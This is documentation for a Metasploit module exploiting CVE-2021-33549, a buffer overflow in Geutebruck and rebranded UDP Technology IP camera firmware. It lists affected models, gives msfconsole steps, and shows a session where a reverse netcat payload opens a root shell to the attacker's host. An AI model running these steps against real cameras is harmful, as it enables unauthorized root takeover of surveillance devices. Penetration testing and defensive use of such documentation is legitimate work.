## Vulnerable Application

The following [Geutebruck](https://www.geutebrueck.com) products using firmware versions <= 1.12.0.27, firmware version 1.12.13.2 or firmware version 1.12.14.5:
* Encoder and E2 Series Camera models:
  * G-Code:
    * EEC-2xxx
  * G-Cam:
    * EBC-21xx
    * EFD-22xx
    * ETHC-22xx
    * EWPC-22xx

Many brands use the same firmware:
  * UDP Technology (which is also the supplier of the firmware for the other vendors)
  * Ganz
  * Visualint
  * Cap
  * THRIVE Intelligence
  * Sophus
  * VCA
  * TripCorps
  * Sprinx Technologies
  * Smartec
  * Riva

This module has been tested on a Geutebruck 5.02024 G-Cam EFD-2250 running the latest firmware version 1.12.0.27.

### Description

This module exploits a buffer overflow (CVE-2021-33549) within the `action` GET parameter of /uapi-cgi/instantrec.cgi.
Successful exploitation will result in remote code execution as the `root` user.

Users can find additional details of this vulnerability on the blogpost page at https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/.

## Verification Steps

  1. Start the camera using default configuration
  2. Launch msfconsole
  3. Do: `use exploit/linux/http/geutebruck_instantrec_bof`
  4. Do: `set lhost <metasploit_ip>`
  5. Do: `set rhosts <camera_ip>`
  6. Do: `check` to be sure the target is vulnerable
  7. Do: `exploit`
  8. You should get a shell

## Scenarios
### Geutebruck 5.02024 G-Cam EFD-2250 running firmware version 1.12.0.27.
```
msf6 > use exploit/linux/http/geutebruck_instantrec_bof
[*] Using configured payload cmd/unix/reverse_netcat_gaping
msf6 exploit(linux/http/geutebruck_instantrec_bof) > set lhost 192.168.14.1
lhost => 192.168.14.1
msf6 exploit(linux/http/geutebruck_instantrec_bof) > set rhosts 192.168.14.58
rhosts => 192.168.14.58
msf6 exploit(linux/http/geutebruck_instantrec_bof) > exploit

[*] Started reverse TCP handler on 192.168.14.1:4444
[*] 192.168.14.58:80 - Attempting to exploit...
[*] Command shell session 3 opened (192.168.14.1:4444 -> 192.168.14.58:43392) at 2021-02-23 13:37:28 +0200
pwd

/tmp/www_ramdisk/uapi-cgi/admin
id
uid=0(root) gid=0(root)
uname -a
Linux EFD-2250 2.6.18_IPNX_PRODUCT_1.1.2-g3532e87a #1 PREEMPT Tue May 12 18:00:46 KST 2020 armv5tejl GNU/Linux
```